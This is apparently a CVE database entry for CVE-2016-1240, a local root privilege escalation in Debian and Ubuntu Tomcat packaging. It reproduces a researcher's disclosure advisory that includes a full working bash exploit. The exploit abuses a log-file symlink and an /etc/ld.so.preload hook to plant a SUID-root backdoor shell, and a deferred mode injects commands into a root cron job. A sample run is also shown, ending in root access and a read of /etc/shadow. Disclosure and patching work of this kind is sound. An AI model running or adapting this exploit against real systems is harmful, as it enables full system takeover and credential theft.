Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-20 |
Improper Input Validation
The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 40450
Publication date : 2016-10-02 22h00 +00:00
Author : Dawid Golunski
EDB Verified : Yes
=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com
- CVE-2016-1240
- Release date: 30.09.2016
- Revision: 1
- Severity: High
=============================================
I. VULNERABILITY
-------------------------
Apache Tomcat packaging on Debian-based distros - Local Root Privilege Escalation
Affected debian packages:
Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1
Ubuntu systems are also affected. See section VII. for details.
Other systems using the affected debian packages may also be affected.
II. BACKGROUND
-------------------------
"The Apache Tomcat® software is an open source implementation of the
Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket
technologies. The Java Servlet, JavaServer Pages, Java Expression Language
and Java WebSocket specifications are developed under the Java Community
Process.
The Apache Tomcat software is developed in an open and participatory
environment and released under the Apache License version 2.
The Apache Tomcat project is intended to be a collaboration of the
best-of-breed developers from around the world.
Apache Tomcat software powers numerous large-scale, mission-critical web
applications across a diverse range of industries and organizations.
Some of these users and their stories are listed on the PoweredBy wiki page.
"
http://tomcat.apache.org/
III. INTRODUCTION
-------------------------
Tomcat (6, 7, 8) packages provided by default repositories on Debian-based
distributions (including Debian, Ubuntu etc.) provide a vulnerable
tomcat init script that allows local attackers who have already gained access
to the tomcat account (for example, by exploiting an RCE vulnerability
in a java web application hosted on Tomcat, uploading a webshell etc.) to
escalate their privileges from tomcat user to root and fully compromise the
target system.
IV. DESCRIPTION
-------------------------
The vulnerability is located in the tomcat init script provided by affected
packages, normally installed at /etc/init.d/tomcatN.
The script for tomcat7 contains the following lines:
-----[tomcat7]----
# Run the catalina.sh script as a daemon
set +e
touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
-------[eof]------
Local attackers who have gained access to the server in the context of the
tomcat user (for example, through a vulnerability in a web application) would
be able to replace the log file with a symlink to an arbitrary system file
and escalate their privileges to root once Tomcat init script (running as root)
re-opens the catalina.out file after a service restart, reboot etc.
As attackers would already have a tomcat account at the time of exploitation,
they could also kill the tomcat processes to introduce the need for a restart.
V. PROOF OF CONCEPT EXPLOIT
-------------------------
------[ tomcat-rootprivesc-deb.sh ]------
#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a
# vulnerable java webapp, or locally via weak permissions on webapps in the
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted.
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting.
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default
# Ubuntu/Debian Tomcat installations).
#
# See full advisory for details at:
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/tomcatrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $TOMCATLOG
touch $TOMCATLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload 2>/dev/null
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
cleanexit 0
}
#intro
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
exit 3
fi
if [ "$2" = "-deferred" ]; then
mode="deferred"
else
mode="active"
fi
# Priv check
echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
exit 3
fi
# Set target paths
TOMCATLOG="$1"
if [ ! -f $TOMCATLOG ]; then
echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"
exit 3
fi
echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"
# [ Deferred exploitation ]
# Symlink the log file to /etc/default/locale file which gets executed daily on default
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
# restarted and file owner gets changed.
if [ "$mode" = "deferred" ]; then
rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
echo -e "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"
echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
echo -ne "\n you'll be able to add arbitrary commands to the file which will get executed with root privileges"
echo -ne "\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)\n\n"
exit 0
fi
# [ Active exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
cleanexit 2
fi
# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
# Wait for Tomcat to re-open the logs
echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
echo -e "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)"
while :; do
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
break;
fi
done
# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo --help 2>/dev/null >/dev/null
# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
# Execute the rootshell
echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p
# Job done.
cleanexit 0
--------------[ EOF ]--------------------
Example exploit run:
~~~~~~~~~~~~~~
tomcat7@ubuntu:/tmp$ id
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
tomcat7@ubuntu:/tmp$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04 LTS
Release: 16.04
Codename: xenial
tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat
ii libtomcat7-java 7.0.68-1ubuntu0.1 all Servlet and JSP engine -- core libraries
ii tomcat7 7.0.68-1ubuntu0.1 all Servlet and JSP engine
ii tomcat7-common 7.0.68-1ubuntu0.1 all Servlet and JSP engine -- common files
tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out
Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
CVE-2016-1240
Discovered and coded by:
Dawid Golunski
http://legalhackers.com
[+] Starting the exploit in [active] mode with the following privileges:
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out
[+] Compiling the privesc shared library (/tmp/privesclib.c)
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh
[+] Symlink created at:
lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload
[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...
You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)
[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges:
-rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh
Please tell me you're seeing this too ;)
[+] Executing the rootshell /tmp/tomcatrootsh now!
tomcatrootsh-4.3# id
uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
tomcatrootsh-4.3# whoami
root
tomcatrootsh-4.3# head -n3 /etc/shadow
root:$6$oaf[cut]:16912:0:99999:7:::
daemon:*:16912:0:99999:7:::
bin:*:16912:0:99999:7:::
tomcatrootsh-4.3# exit
exit
[+] Cleaning up...
[+] Job done. Exiting with code 0
VI. BUSINESS IMPACT
-------------------------
Local attackers who have gained access to tomcat user account (for example
remotely via a vulnerable web application, or locally via weak webroot perms),
could escalate their privileges to root and fully compromise the affected system.
VII. SYSTEMS AFFECTED
-------------------------
The following Debian package versions are affected:
Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1
A more detailed lists of affected packages can be found at:
Debian:
https://security-tracker.debian.org/tracker/CVE-2016-1240
Ubuntu:
http://www.ubuntu.com/usn/usn-3081-1/
Other systmes that use Tomcat packages provided by Debian may also be affected.
VIII. SOLUTION
-------------------------
Debian Security Team was contacted and has fixed affected upstream packages.
Update to the latest tomcat packages provided by your distribution.
IX. REFERENCES
-------------------------
http://legalhackers.com
http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
The exploit's sourcecode
http://legalhackers.com/exploits/tomcat-rootprivesc-deb.sh
CVE-2016-1240
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1240
Ubuntu Security Notice USN-3081-1:
http://www.ubuntu.com/usn/usn-3081-1/
Debian Security Advisory DSA-3669-1 (tomcat7):
https://lists.debian.org/debian-security-announce/2016/msg00249.html
https://www.debian.org/security/2016/dsa-3669
Debian Security Advisory DSA-3670-1 (tomcat8):
https://www.debian.org/security/2016/dsa-3670
https://security-tracker.debian.org/tracker/CVE-2016-1240
X. CREDITS
-------------------------
The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com
XI. REVISION HISTORY
-------------------------
30.09.2016 - Advisory released
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.
Products Mentioned
Configuraton 0
Apache>>Tomcat >> Version 6.0
Apache>>Tomcat >> Version 7.0
Apache>>Tomcat >> Version 8.0
Canonical>>Ubuntu_linux >> Version 12.04
Canonical>>Ubuntu_linux >> Version 14.04
Canonical>>Ubuntu_linux >> Version 16.04
Configuraton 0
Apache>>Tomcat >> Version 7.0
Apache>>Tomcat >> Version 8.0
Debian>>Debian_linux >> Version 8.0
References
